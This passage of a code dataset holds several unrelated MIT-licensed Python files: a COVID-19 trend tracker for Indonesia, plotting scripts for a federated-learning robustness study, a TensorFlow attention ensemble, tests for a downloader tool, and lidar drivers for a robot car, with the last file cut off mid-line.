+{"text": "import os\nimport datetime\nimport numpy as np\nfrom jinja2 import Template\nfrom scipy.stats import hypergeom\nimport matplotlib.pyplot as plt\nimport covidtracker as ct\nfrom covidtracker.dataloader import DataLoader\nfrom covidtracker.models import update_samples\nfrom covidtracker.plotter import plot_interval\n\ndef plot_gradient(res):\n dl = res.dataloader\n b = res.samples[\"b\"].detach().numpy()\n tnp = np.arange(b.shape[1])\n\n plot_interval(tnp, (np.exp(b)-1)*100, color=\"C2\")\n plt.plot(tnp, tnp*0, \"k--\")\n plt.ylabel(\"Persentase pertumbuhan\")\n plt.xticks(tnp[::7], dl.tdate[::7], rotation=90)\n plt.title(dl.ylabel)\n plt.legend(loc=\"upper right\")\n\ndef plot_data_and_sim(res):\n yobs = res.yobs\n ysim = res.ysim\n dl = res.dataloader\n tnp = np.arange(len(yobs))\n\n plt.bar(tnp, yobs, color=\"C1\", alpha=0.6)\n plot_interval(tnp, ysim, color=\"C1\")\n plt.xticks(tnp[::7], dl.tdate[::7], rotation=90)\n plt.title(dl.ylabel)\n plt.legend(loc=\"upper left\")\n\ndef get_weekly_sum(y, a=7):\n # yy = y[:((y.shape[-1]//a)*a)].reshape(-1,a).sum(axis=-1)\n yy = y[y.shape[-1]%7:].reshape(-1,a).sum(axis=-1)\n return yy\n\ndef get_in_week(t, a=7, i=0):\n # ty = t[:((t.shape[-1]//a)*a)].reshape(-1,a)[:,i]\n ty = t[t.shape[-1]%7:].reshape(-1,a)[:,i]\n return ty\n\ndef get_total_cases(res, total_deaths_data):\n model = res.model\n samples = res.samples\n ysim = res.ysim\n\n unreported_ratio_death = 2200 / 785. # from reuter's report https://uk.reuters.com/article/us-health-coronavirus-indonesia-casualti/exclusive-more-than-2200-indonesians-have-died-with-coronavirus-symptoms-data-shows-idUKKCN22A04N\n total_deaths_from_cases_fullifr = model.predict_total_deaths(samples, ifr=1.0) # (nsamples,)\n unreported_ratio_fullifr = total_deaths_data * unreported_ratio_death / total_deaths_from_cases_fullifr\n total_cases_fullifr = unreported_ratio_fullifr * np.sum(ysim, axis=-1)\n\n total_cases = None\n ntrial = 100\n ifrs = np.random.randn(ntrial) * 0.0047 + 0.0086 # (0.39 - 1.33)% from https://www.medrxiv.org/content/10.1101/2020.03.09.20033357v1.full.pdf\n ifrs[ifrs < 0.0039] = 0.0039\n for i,ifr in enumerate(ifrs):\n total_cases1 = total_cases_fullifr / ifr # (nsamples,)\n if i == 0:\n total_cases = total_cases1\n else:\n total_cases = np.concatenate((total_cases, total_cases1))\n\n # get the statistics of the total cases\n total_cases_median = int(np.round(np.median(total_cases)))\n total_cases_025 = int(np.round(np.percentile(total_cases, 2.5)))\n total_cases_975 = int(np.round(np.percentile(total_cases, 97.5)))\n\n def formatstr(a):\n b = int(float(\"%.2g\"%a)) # round to some significant figures\n c = f\"{b:,}\"\n d = c.replace(\",\", \".\")\n return d\n\n return formatstr(total_cases_median),\\\n formatstr(total_cases_025),\\\n formatstr(total_cases_975)\n\ndef plot_weekly_tests(res):\n yobs = res.yobs\n\n # show the tests\n dltest = DataLoader(\"id_new_tests\")\n ytest = dltest.ytime\n ttest = np.arange(ytest.shape[0])\n tticks = dltest.tdate\n\n a = 7\n ytest = get_weekly_sum(ytest)\n ttest = get_in_week(ttest, i=0)\n tticks = get_in_week(tticks, i=0)\n plt.bar(ttest, ytest, width=a-0.5)\n # plt.bar(ttest, ytest)\n plt.title(\"Pemeriksaan per minggu\")\n plt.xticks(ttest, tticks, rotation=90)\n return ytest\n\ndef plot_weekly_tests_prov(res):\n yobs = res.yobs # new positives / day\n\n # get all the tests and the positive cases from all over the country\n dltest = DataLoader(\"id_new_tests\")\n dlcase = DataLoader(\"id_new_cases\")\n ttest = dltest.tdate\n ytest = dltest.ytime\n ycase = dlcase.ytime\n assert len(ytest) == len(ycase)\n ntest_days = len(ytest)\n nobs_days = len(yobs)\n missing_days = ntest_days - nobs_days\n offset_test = int(np.ceil(missing_days / 7.0)) * 7\n offset_obs = offset_test - missing_days\n\n # offset the positive tests to match the weekly test\n yobs = yobs[offset_obs:]\n ytest = ytest[offset_test:]\n ycase = ycase[offset_test:]\n ttest = ttest[offset_test:]\n assert len(yobs) == len(ytest)\n assert len(yobs) == len(ycase)\n # yobs and ytest should have the same lengths by now\n\n # get the weekly data\n ycase = get_weekly_sum(ycase)\n yobs = get_weekly_sum(yobs)\n ytest = get_weekly_sum(ytest)\n ttest = get_in_week(ttest, i=0)\n ndata = len(yobs)\n\n # calculate the posterior distribution of the number of tests\n yall_positives = ycase.astype(np.int)\n yall_tests = ytest.astype(np.int)\n y_positives = yobs.astype(np.int)\n max_tests = yall_tests.max()\n posteriors = np.zeros((ndata, max_tests+1))\n for i in range(ndata):\n yall_positive = yall_positives[i]\n yall_test = yall_tests[i]\n y_positive = y_positives[i]\n y_test = np.arange(yall_test+1)\n\n lhood = hypergeom.pmf(y_positive, yall_test, yall_positive, y_test)\n if np.sum(lhood) == 0:\n print(y_positive, yall_test, yall_positive, res.dataloader.dataidentifier)\n posteriors[i,:len(lhood)] = lhood / np.sum(lhood) # (max_tests+1)\n\n cdf = np.cumsum(posteriors, axis=-1)\n def h(cdf, q):\n return np.sum(cdf < q, axis=-1)\n\n x = np.arange(ndata)\n ymed = h(cdf, 0.5)\n yl1 = h(cdf, 0.025)\n yu1 = h(cdf, 0.975)\n plt.bar(x, height=ymed, alpha=0.5, label=\"Median\")\n plt.errorbar(x, ymed, [ymed-yl1, yu1-ymed], fmt=\"o\", label=\"95% CI\")\n plt.xticks(x, ttest, rotation=90)\n plt.legend()\n plt.title(\"Perkiraan jumlah pemeriksaan mingguan\")\n return ymed, (h(cdf, 0.975)-h(cdf, 0.025))/2.0\n\ndef main(img_path, file_path, idx=None):\n provinces = [\"Jakarta\", \"Jabar\", \"Jatim\", \"Jateng\", \"Sulsel\"]\n fields = [\"id_new_cases\"] + [\"idprov_%s_new_cases\" % p.lower() for p in provinces]\n names = [\"Indonesia\"] + provinces\n\n if idx is not None:\n provinces = provinces[idx:idx+1]\n fields = fields[idx:idx+1]\n names = names[idx:idx+1]\n\n ftemplate = os.path.join(os.path.split(ct.__file__)[0], \"templates\", \"template-idcovid19.md\")\n\n nsamples = 1000\n nwarmups = 1000\n nchains = 1\n\n places = []\n for i,df in enumerate(fields):\n print(\"Field: %s\" % df)\n\n # get the samples or resample\n res = update_samples(df, nsamples=nsamples, nchains=nchains, nwarmups=nwarmups,\n jit=True, restart=False)\n\n if idx is not None:\n return\n\n dl = res.dataloader\n model = res.model\n samples = res.samples\n ysim = res.ysim\n res.yobs = res.yobs[:ysim.shape[1]]\n yobs = res.yobs\n\n ################## creating the figures ##################\n # simulating the samples\n b = samples[\"b\"].detach().numpy() # (nsamples, n)\n tnp = np.arange(len(yobs))\n\n ncols = 3\n plt.figure(figsize=(4*ncols,4))\n\n plt.subplot(1,ncols,1)\n plot_gradient(res)\n plt.subplot(1,ncols,2)\n plot_data_and_sim(res)\n\n total_cases_median = \"\"\n total_cases_025 = \"\"\n total_cases_975 = \"\"\n if df == \"id_new_cases\":\n # show the tests\n plt.subplot(1,ncols,3)\n test_weekly = plot_weekly_tests(res)\n # calculate the ratio for the last week\n test_ratio = test_weekly[-1] / test_weekly[-2]\n test_ratio_2std = 1e-8 # very small std\n\n # calculate the estimated infection cases\n total_deaths_data = DataLoader(\"id_cum_deaths\").ytime[-1]\n total_cases_median, total_cases_025, total_cases_975 = get_total_cases(res, total_deaths_data)\n\n elif df.startswith(\"idprov_\") and df.endswith(\"_new_cases\"):\n plt.subplot(1,ncols,3)\n test_weekly, test_weekly_2std = plot_weekly_tests_prov(res)\n # NOTE: comment the code below to use the ratio from the national figures\n # test_ratio = test_weekly[-1] / test_weekly[-2]\n # test_ratio_2std = ((test_weekly_2std[-1] / test_weekly[-1])**2 +\\\n # (test_weekly_2std[-2] / test_weekly[-2])**2)**.5 *\\\n # test_ratio\n\n # calculate the estimated infection cases\n total_deaths_data = DataLoader(df.replace(\"_new_cases\", \"_cum_deaths\")).ytime[-1]\n total_cases_median, total_cases_025, total_cases_975 = get_total_cases(res, total_deaths_data)\n\n plt.tight_layout()\n plt.savefig(os.path.join(img_path, \"%s.png\"%df))\n plt.close()\n\n ################## deciding the results ##################\n b_last = b[:,-1]\n # calculate the exponential factor from the weekly ratio\n b_test = np.log(test_ratio) / 7.0\n b_test_std = test_ratio_2std / test_ratio\n lower_grad_portion = np.sum(b_last < b_test) * 1.0 / b.shape[0]\n\n # calculate the probability of the curve going down\n decline_portion = np.sum(b_last < 0) * 1.0 / b.shape[0]\n\n # calculate the total probability of it's really going down\n if b_test < 0:\n decline_prob = lower_grad_portion\n else:\n decline_prob = decline_portion\n\n if decline_prob > 0.95:\n flatcurve_res = \"**turun**\"\n elif decline_prob > 0.75:\n flatcurve_res = \"**kemungkinan** turun\"\n elif decline_prob > 0.5:\n flatcurve_res = \"ada indikasi penurunan, tapi belum dapat dipastikan\"\n elif decline_prob < 0.5 and decline_portion > 0.5:\n flatcurve_res = \"kurva terlihat turun, tapi jumlah tes juga menurun\"\n else:\n flatcurve_res = \"belum dapat disimpulkan\"\n\n # calculate the probability of the curve going down not because of the test\n # i.e. compare the test gradient and the curve gradient\n\n\n ## save the information for the templating\n places.append({\n \"dataid\": df,\n \"name\": names[i],\n \"flatcurve_result\": flatcurve_res,\n \"decline_prob\": int(np.round(decline_prob * 100)),\n\n # predicted cases\n \"total_cases_median\": total_cases_median,\n \"total_cases_025\": total_cases_025,\n \"total_cases_975\": total_cases_975,\n })\n\n with open(ftemplate, \"r\") as f:\n template = Template(f.read())\n today = datetime.date.today()\n content = template.render(places=places, date=today.strftime(\"%d/%m/%Y\"))\n with open(file_path, \"w\") as f:\n f.write(content)\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--idx\", type=int, default=None)\n args = parser.parse_args()\n\n fpath = \"../../mfkasim91.github.io\"\n img_path = os.path.join(fpath, \"assets\", \"idcovid19-daily\")\n file_path = os.path.join(fpath, \"idcovid19.md\")\n main(img_path, file_path, idx=args.idx)\n", "source": "mfkasim91/covid19-gradient-tracker", "license": "MIT"}
+{"text": "from functools import reduce\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport os\nimport yaml\nfrom matplotlib import cm\nimport pymongo\nimport matplotlib\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom matplotlib.lines import Line2D\nfrom matplotlib.patches import Rectangle\n\nfrom common import _preprocess, setup_plt, query_data, get_colorful_styles, output_dir, COLOR_GRAY, yaxis_formatter, get_markers\n\n\ndef load_params_data():\n weights = pd.read_csv(\"./data/weight_distribution/params_outside_bound_0.01.csv\", index_col=0)\n\n total_weights = 44426.0\n\n # Convert to real array\n weights['clients'] = weights['clients'].apply(lambda x: np.array(x.strip('][').split(', '), dtype=np.int32))\n\n weights['honest_stddev'] = weights['clients'].apply(lambda x: np.std(x[:-1]))\n weights['honest_mean'] = weights['clients'].apply(lambda x: np.mean(x[:-1]))\n weights['mal'] = weights['clients'].apply(lambda x: x[-1])\n\n weights['honest_stddev_perc'] = weights['honest_stddev'] / total_weights\n weights['honest_mean_perc'] = weights['honest_mean'] / total_weights\n weights['mal_perc'] = weights['mal'] / total_weights\n\n weights = weights[weights[\"round\"] <= 520]\n\n return weights\n\n\ndef build_continuous_static_plot(name, df):\n colors, linestyles = get_colorful_styles()\n\n configs = {\n 'honest_mean_perc': {'label': 'Benign', 'marker': get_markers()[0], 'color': colors[1] },\n 'mal_perc': {'label': 'Malicious', 'marker': get_markers()[1], 'color': colors[0] },\n }\n\n markevery = 100\n window_size = 20\n markersize = 8\n error_color = \"0.85\"\n\n setup_plt(square=True)\n\n with PdfPages(f\"{output_dir}/{name}.pdf\") as pdf:\n\n fig, ax = plt.subplots()\n\n custom_lines_colors = []\n custom_lines_colors_names = []\n\n ##################\n # Our 0.5% bound #\n ##################\n plt.axhline(y=0.005, color=COLOR_GRAY, linestyle='dashed')\n\n for index, suffix in enumerate(configs.keys()):\n values_acc = df[suffix]\n labels = df[f\"round\"]\n config = configs[suffix]\n\n if suffix == \"mal_perc\":\n plt.plot(labels, values_acc.rolling(window_size).mean().shift(-window_size),\n linestyle='solid', label=config['label'], color=config['color'],\n linewidth=2, marker=config['marker'], markevery=markevery)\n\n values_std = values_acc.rolling(window_size).std().shift(-window_size)\n plt.fill_between(labels,\n values_acc - values_std,\n values_acc + values_std,\n alpha=1, edgecolor='#3F7F4C', facecolor=error_color, linewidth=0)\n else:\n #values_acc.rolling(window_size).mean().shift(-window_size)\n plt.plot(labels, values_acc.rolling(window_size).mean().shift(-window_size), #df['honest_stddev_perc'].rolling(window_size).mean().shift(-window_size),\n linestyle='solid', label=config['label'], color=config['color'],\n linewidth=2, marker=config['marker'], markevery=markevery)\n\n values_std = df['honest_stddev_perc'].rolling(window_size).mean().shift(-window_size)\n plt.fill_between(labels,\n values_acc - values_std,\n values_acc + values_std,\n alpha=1, edgecolor='#3F7F4C', facecolor=error_color, linewidth=0)\n\n custom_lines_colors.append(Line2D([0], [0], linestyle=\"-\", lw=2, marker=config['marker'], color=config['color']))\n custom_lines_colors_names.append(config['label'])\n\n ##########################\n # General Format\n ##########################\n ax.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ##########################\n # Y - Axis Format\n ##########################\n # ax.set_ylim(ymin=-0.05, ymax=0.455)\n ax.set_yticks([0, 0.2, 0.4, 0.6, 0.8, 1.0])\n ax.get_yaxis().set_major_formatter(\n matplotlib.ticker.FuncFormatter(yaxis_formatter))\n\n plt.ylabel('% Weights above bound')\n plt.xlabel('Round')\n\n # Legend\n # if leftmost:\n line = Line2D([0], [0])\n line.set_visible(False)\n custom_lines_colors = [line] + custom_lines_colors\n custom_lines_colors_names = ['Update type:'] + custom_lines_colors_names\n\n leg1 = plt.legend(custom_lines_colors, custom_lines_colors_names,\n bbox_to_anchor=(1.02, 1.), loc=4, ncol=6, columnspacing=0.75)\n ax.add_artist(leg1)\n\n\n indicator_lines =[\n Line2D([0], [0], linestyle=\"dashed\", lw=2, color=COLOR_GRAY)]\n indicator_lines_labels = [\"$p_v=0.005$\"]\n leg_line = plt.legend(indicator_lines, indicator_lines_labels,\n bbox_to_anchor=(1., 1.), loc='upper right', ncol=1,\n columnspacing=0.75)\n ax.add_artist(leg_line)\n\n # if leftmost:\n for vpack in leg1._legend_handle_box.get_children()[:1]:\n for hpack in vpack.get_children():\n del hpack._children[0]\n\n # if not leftmost:\n # custom_lines_styles = [Line2D([0], [0], linestyle=\"-\", lw=2, color=COLOR_GRAY),\n # Line2D([0], [0], linestyle=\":\", lw=2, color=COLOR_GRAY)]\n # leg_task = plt.legend(custom_lines_styles, [\"Backdoor\", \"Main\"],\n # bbox_to_anchor=(1., 0.05), loc=4, ncol=1,\n # columnspacing=0.75)\n # ax.add_artist(leg_task)\n\n # plt.legend(title='Bound', mode=\"expand\", loc=\"lower left\", labelspacing=.05, bbox_to_anchor=(1.01, 0, .6, 0))\n\n pdf.savefig(bbox_inches='tight', pad_inches=0)\n plt.savefig(f\"{output_dir}/{name}.png\", bbox_inches='tight', pad_inches=0)\n plt.close()\n\n return fig, df\n\n\ndef load_weight_distribution_single_round_data():\n dir = \"./data/weight_distribution/updates\"\n mal = np.load(os.path.join(dir, \"2245_m_1.npy\"), allow_pickle=True)\n ben = np.load(os.path.join(dir, \"32_b_1.npy\"), allow_pickle=True)\n\n df = pd.DataFrame()\n\n for label, update in zip([\"mal\", \"ben\"], [mal, ben]):\n flattened = np.concatenate([np.reshape(u, -1) for u in update])\n df_u = pd.DataFrame()\n df_u[f'{label}_weights'] = flattened\n\n # df_u[(df_u[f'{label}_weights'] > 1) | df_u[f'{label}_weights'] < -1][f'{label}_weights'] = np.NaN\n\n df = df.merge(df_u, how='right', left_index=True, right_index=True)\n\n return df\n\n\ndef build_single_round(name, df):\n\n setup_plt(square=True)\n\n bound = 0.01\n\n with PdfPages(f\"{output_dir}/{name}.pdf\") as pdf:\n\n fig, ax = plt.subplots()\n colors, linestyles = get_colorful_styles()\n\n bins = np.linspace(-0.4, 0.4, 40)\n\n plt.hist(df[\"mal_weights\"], color=colors[0], bins=bins, density=False)\n plt.hist(df[\"ben_weights\"], color=colors[1], bins=bins, alpha=0.5, density=False)\n\n custom_lines_colors = [\n Rectangle((0,0), 1, 1, facecolor=colors[1]),\n Rectangle((0,0), 1, 1, facecolor=colors[0])\n ]\n custom_lines_colors_names = [\n \"Benign\",\n \"Malicious\"\n ]\n\n plt.axvline(-bound, color=COLOR_GRAY, linestyle='dashed')\n plt.axvline(bound, color=COLOR_GRAY, linestyle='dashed')\n\n ##########################\n # General Format\n ##########################\n ax.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ##########################\n # Y - Axis Format\n ##########################\n # ax.set_ylim(ymin=-0.05, ymax=1.05)\n # ax.set_yticks([0, 0.25, 0.5, 0.75, 1])\n # ax.set_xlim(xmin=-1, xmax=1)\n\n # if leftmost:\n plt.ylabel('Count')\n plt.xlabel('Weight value')\n\n indicator_lines = [\n Line2D([0], [0], linestyle=\"dashed\", lw=2, color=COLOR_GRAY)]\n indicator_lines_labels = [\"$L_\\infty$-B$=0.01$\"]\n leg_line = plt.legend(indicator_lines, indicator_lines_labels,\n bbox_to_anchor=(1., 1.), loc='upper right', ncol=1,\n columnspacing=0.75)\n ax.add_artist(leg_line)\n\n # Legend\n # if leftmost:\n line = Line2D([0], [0])\n line.set_visible(False)\n custom_lines_colors = [line] + custom_lines_colors\n custom_lines_colors_names = ['Update type:'] + custom_lines_colors_names\n\n leg1 = plt.legend(custom_lines_colors, custom_lines_colors_names,\n bbox_to_anchor=(1.02, 1.), loc=4, ncol=6, columnspacing=0.75)\n ax.add_artist(leg1)\n\n # if leftmost:\n for vpack in leg1._legend_handle_box.get_children()[:1]:\n for hpack in vpack.get_children():\n del hpack._children[0]\n\n pdf.savefig(bbox_inches='tight', pad_inches=0)\n plt.savefig(f\"{output_dir}/{name}.png\", bbox_inches='tight', pad_inches=0)\n plt.close()\n\n return fig, df\n\n\ndef build_single_round_broken(name, df):\n setup_plt(square=True)\n\n bound = 0.01\n\n with PdfPages(f\"{output_dir}/{name}.pdf\") as pdf:\n\n fig, (ax, ax2) = plt.subplots(2, 1, sharex=True, gridspec_kw={'height_ratios': [1, 2]})\n colors, linestyles = get_colorful_styles()\n\n bins = np.linspace(-0.4, 0.4, 40)\n\n ax.hist(df[\"mal_weights\"], color=colors[0], bins=bins, density=False)\n ax.hist(df[\"ben_weights\"], color=colors[1], bins=bins, alpha=0.5, density=False)\n ax2.hist(df[\"mal_weights\"], color=colors[0], bins=bins, density=False)\n ax2.hist(df[\"ben_weights\"], color=colors[1], bins=bins, alpha=0.5, density=False)\n\n custom_lines_colors = [\n Rectangle((0, 0), 1, 1, facecolor=colors[1]),\n Rectangle((0, 0), 1, 1, facecolor=colors[0])\n ]\n custom_lines_colors_names = [\n \"Benign\",\n \"Malicious\"\n ]\n\n ax.axvline(-bound, color=COLOR_GRAY, linestyle='dashed')\n ax.axvline(bound, color=COLOR_GRAY, linestyle='dashed')\n ax2.axvline(-bound, color=COLOR_GRAY, linestyle='dashed')\n ax2.axvline(bound, color=COLOR_GRAY, linestyle='dashed')\n\n ##########################\n # General Format\n ##########################\n ax.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ax2.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ##########################\n # Y - Axis Format\n ##########################\n # ax.set_ylim(ymin=-0.05, ymax=1.05)\n # ax.set_yticks([40000])\n # ax.set_xlim(xmin=-1, xmax=1)\n ax.set_yticks(list(range(0, 50000, 2500)))\n ax2.set_yticks(list(range(0, 50000, 2500)))\n ax.set_ylim(ymin=40000-100, ymax=45000)\n ax2.set_ylim(ymin=0, ymax=10000)\n\n ax.spines['bottom'].set_visible(False)\n ax2.spines['top'].set_visible(False)\n # ax.xaxis.tick_top()\n ax.xaxis.set_ticks_position('none')\n ax.tick_params(labeltop=False) # don't put tick labels at the top\n ax2.xaxis.tick_bottom()\n\n d = .015 # how big to make the diagonal lines in axes coordinates\n # arguments to pass to plot, just so we don't keep repeating them\n kwargs = dict(transform=ax.transAxes, color='k', clip_on=False)\n ax.plot((-d, +d), (-2 * d, + 2 * d), **kwargs) # top-left diagonal\n ax.plot((1 - d, 1 + d), (-2 * d, +2 * d), **kwargs) # top-right diagonal\n\n kwargs.update(transform=ax2.transAxes) # switch to the bottom axes\n ax2.plot((-d, +d), (1 - d, 1 + d), **kwargs) # bottom-left diagonal\n ax2.plot((1 - d, 1 + d), (1 - d, 1 + d), **kwargs) # bottom-right diagonal\n\n ##########################\n # Y - LEGEND\n ##########################\n # if leftmost:\n # plt.ylabel('Count')\n plt.xlabel('Weight value')\n\n plt.sca(ax)\n indicator_lines = [\n Line2D([0], [0], linestyle=\"dashed\", lw=2, color=COLOR_GRAY)]\n indicator_lines_labels = [\"$L_\\infty$-B$=0.01$\"]\n leg_line = plt.legend(indicator_lines, indicator_lines_labels,\n bbox_to_anchor=(1., 1.), loc='upper right', ncol=1,\n columnspacing=0.75)\n ax.add_artist(leg_line)\n\n # Legend\n # if leftmost:\n line = Line2D([0], [0])\n line.set_visible(False)\n custom_lines_colors = [line] + custom_lines_colors\n custom_lines_colors_names = ['Update type:'] + custom_lines_colors_names\n\n leg1 = plt.legend(custom_lines_colors, custom_lines_colors_names,\n bbox_to_anchor=(1.02, 1.), loc=4, ncol=6, columnspacing=0.75)\n ax.add_artist(leg1)\n\n # if leftmost:\n for vpack in leg1._legend_handle_box.get_children()[:1]:\n for hpack in vpack.get_children():\n del hpack._children[0]\n\n ### Common y label\n fig.add_subplot(111, frameon=False)\n # hide tick and tick label of the big axes\n plt.tick_params(labelcolor='none', top=False, bottom=False, left=False, right=False)\n plt.grid(False)\n plt.ylabel(\"Count\", labelpad=20)\n\n pdf.savefig(bbox_inches='tight', pad_inches=0)\n plt.savefig(f\"{output_dir}/{name}.png\", bbox_inches='tight', pad_inches=0)\n plt.close()\n\n return fig, df", "source": "pps-lab/rofl-project-code", "license": "MIT"}
+{"text": "import tensorflow as tf\n\nfrom layers.attention_layers import attention_layer\nfrom layers.common_layers import init_inputs\nfrom layers.feed_forward_layers import feed_forward_diff_features, feed_forward_diff_layers\nfrom utils.hyperparams import Hyperparams as hp\n\n\nclass AttentionBasedEnsembleNets:\n\n def __init__(self, selection_methods, num_features, learning_rate=0.01):\n\n with tf.name_scope('input'):\n self.nn_inputs = init_inputs(num_features, selection_methods)\n self.labels = tf.placeholder(dtype=tf.float32, shape=[None, 1], name='labels')\n\n with tf.name_scope('ff'):\n nets = {'fisher': [200, 50], 'ttest': [200, 50], 'corr': [200, 50], 'random': [200, 50]}\n feed_forward = feed_forward_diff_layers(self.nn_inputs, nets)\n with tf.name_scope('output'):\n out = attention_layer(feed_forward, attention_size=50)\n logits = tf.layers.dense(out, units=1)\n sig = tf.nn.sigmoid(logits)\n predictions = tf.round(sig)\n\n with tf.name_scope('train'):\n self.loss = tf.losses.sigmoid_cross_entropy(\n multi_class_labels=self.labels, logits=logits)\n self.opt = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(self.loss)\n\n with tf.name_scope('summaries'):\n self.acc = tf.reduce_mean((predictions * self.labels) + ((1 - predictions) * (1 - self.labels)))\n self.precision, precision_op = tf.metrics.precision(self.labels, predictions)\n # summaries\n tf.summary.scalar('loss', self.loss)\n tf.summary.scalar('accuracy', self.acc)\n tf.summary.scalar('precision_op', precision_op)\n self.merged_summary_op = tf.summary.merge_all()\n", "source": "tlatkowski/attention-ensemble-gene-expression", "license": "MIT"}
+{"text": "\"\"\"Tests various methods of the Download\nclass.\n\nAll the methods that start with test are used\nto test a certain function. The test method\nwill have the name of the method being tested\nseperated by an underscore.\n\nIf the method to be tested is extract_content,\nthe test method name will be test_extract_content\n\"\"\"\n\nfrom hashlib import md5\nfrom os import remove\n\nfrom downloader_cli.download import Download\n\n\nTEST_URL = \"http://212.183.159.230/5MB.zip\"\n\n\ndef test__extract_border_icon():\n \"\"\"Test the _extract_border_icon method\"\"\"\n download = Download(TEST_URL)\n\n icon_one = download._extract_border_icon(\"#\")\n icon_two = download._extract_border_icon(\"[]\")\n icon_none = download._extract_border_icon(\"\")\n icon_more = download._extract_border_icon(\"sdafasdfasdf\")\n\n assert icon_one == ('#', '#'), \"Should be ('#', '#')\"\n assert icon_two == ('[', ']'), \"Should be ('[', '])\"\n assert icon_none == ('|', '|'), \"Should be ('|', '|')\"\n assert icon_more == ('|', '|'), \"Should be ('|', '|')\"\n\n\ndef test__build_headers():\n \"\"\"Test the _build_headers method\"\"\"\n download = Download(TEST_URL)\n\n download._build_headers(1024)\n header_built = download.headers\n\n assert header_built == {\"Range\": \"bytes={}-\".format(1024)}, \\\n \"Should be 1024\"\n\n\ndef test__preprocess_conn():\n \"\"\"Test the _preprocess_conn method\"\"\"\n download = Download(TEST_URL)\n download._preprocess_conn()\n\n assert download.f_size == 5242880, \"Should be 5242880\"\n\n\ndef test__format_size():\n \"\"\"\n Test the function that formats the size\n \"\"\"\n download = Download(TEST_URL)\n\n size, unit = download._format_size(255678999)\n\n # Size should be 243.83449459075928\n # and unit should be `MB`\n size = int(size)\n\n assert size == 243, \"Should be 243\"\n assert unit == \"MB\", \"Should be MB\"\n\n\ndef test__format_time():\n \"\"\"\n Test the format time function that formats the\n passed time into a readable value\n \"\"\"\n download = Download(TEST_URL)\n\n time, unit = download._format_time(2134991)\n\n # Time should be 9 days\n assert int(time) == 9, \"Should be 9\"\n assert unit == \"d\", \"Should be d\"\n\n time, unit = download._format_time(245)\n\n # Time should be 4 minutes\n assert int(time) == 4, \"Should be 4\"\n assert unit == \"m\", \"Should be m\"\n\n\ndef test_file_integrity():\n \"\"\"\n Test the integrity of the downloaded file.\n\n We will test the 5MB.zip file which has a hash\n of `eb08885e3082037a12a42308c521fa3c`.\n \"\"\"\n HASH = \"eb08885e3082037a12a42308c521fa3c\"\n\n download = Download(TEST_URL)\n download.download()\n\n # Once download is done, check the integrity\n _hash = md5(open(\"5MB.zip\", \"rb\").read()).hexdigest()\n\n assert _hash == HASH, \"Integrity check failed for 5MB.zip\"\n\n # Remove the file now\n remove(download.basename)\n", "source": "HeavyTony2/downloader-cli", "license": "MIT"}
+{"text": "\"\"\"\nLidar\n\"\"\"\n\nimport time\nimport math\nimport pickle\nimport serial\nimport logging\nimport numpy as np\nfrom donkeycar.utils import norm_deg, dist, deg2rad, arr_to_img\nfrom PIL import Image, ImageDraw\n\nclass YdLidar(object):\n '''\n https://pypi.org/project/PyLidar3/\n '''\n def __init__(self, port='/dev/ttyUSB0', model='G4', chunk_size='6000', freq=15):\n '''\n tune chunk_size for the speed of your compute board\n default G4 uses '6000'\n '''\n \n if model == 'G4':\n from PyLidar3 import YdLidarG4, FrequencyStep\n else:\n raise Exception(\"YdLidar module currently only supports 'G4'.\")\n\n self.port = port\n self.distances = [] #a list of distance measurements \n self.angles = [] # a list of angles corresponding to dist meas above\n self.lidar = YdLidarG4(port=self.port)\n\n if (self.lidar.Connect()):\n print(self.lidar.GetDeviceInfo())\n\n # # running at 15 Hz\n # while self.lidar.GetCurrentFrequency() % 1 != 0:\n # print(\"adjusting scanning frequency: \")\n # self.lidar.IncreaseCurrentFrequency(FrequencyStep.oneTenthHertz)\n # while self.lidar.GetCurrentFrequency() < freq - 1:\n # print(\"adjusting scanning frequency: \")\n # self.lidar.IncreaseCurrentFrequency(FrequencyStep.oneHertz)\n # print(\"Current scanning frequency: \", self.lidar.GetCurrentFrequency())\n \n self.gen = self.lidar.StartScanning()\n\n else:\n raise Exception(\"Lidar not connected, port: {}, model:{}\".format(self.port, model))\n self.on = True\n self.scan = {}\n\n # from threading import Lock\n # self.frame_mutex = Lock()\n\n\n def update(self):\n while self.on:\n try:\n self.scan = next(self.gen)\n self.angles = list(self.scan.keys())\n self.distances = list(self.scan.values())\n except serial.serialutil.SerialException:\n print('serial.serialutil.SerialException from Lidar. common when shutting down.')\n\n def run_threaded(self):\n return self.distances, self.angles\n\n def shutdown(self):\n self.on = False\n time.sleep(2)\n self.lidar.StopScanning()\n self.lidar.Disconnect()\n\n\nclass RPLidar(object):\n '''\n https://github.com/SkoltechRobotics/rplidar\n '''\n def __init__(self, port='/dev/ttyUSB0'):\n from rplidar import RPLidar\n self.port = port\n self.distances = [] #a list of distance measurements \n self.angles = [] # a list of angles corresponding to dist meas above\n self.lidar = RPLidar(self.port)\n self.lidar.clear_input()\n time.sleep(1)\n self.on = True\n #print(self.lidar.get_info())\n #print(self.lidar.get_health())\n\n\n def update(self):\n scans = self.lidar.iter_scans(550)\n while self.on:\n try:\n for scan in scans:\n self.distances = [item[2] for item in scan]\n self.angles = [item[1] for item in scan]\n except serial.serialutil.SerialException:\n print('serial.serialutil.SerialException from Lidar. common when shutting down.')\n\n def run_threaded(self):\n return self.distances, self.angles\n\n def shutdown(self):\n self.on = False\n time.sleep(2)\n self.lidar.stop()\n self.lidar.stop_motor()\n self.lidar.disconnect()\n\n\nclass YdLidarPlot(object):\n '''\n takes the raw lidar measurements and plots it to an image\n '''\n PLOT_TYPE_LINE = 0\n PLOT_TYPE_CIRC = 1\n def __init__(self, scale=1.0, offset=(0., 0.), color=(255, 0, 0)):\n self.scale = scale\n self.offset = offset\n self.origin = offset\n self.color = color\n\n self.max_dist= 8. # mm\n self.min_dist = 0.2 # m \n \n def plot(self, img, x, y, yaw, ranges, draw):\n '''\n scale dist so that max_dist is edge of img (mm)\n and img is PIL Image, draw the circle using the 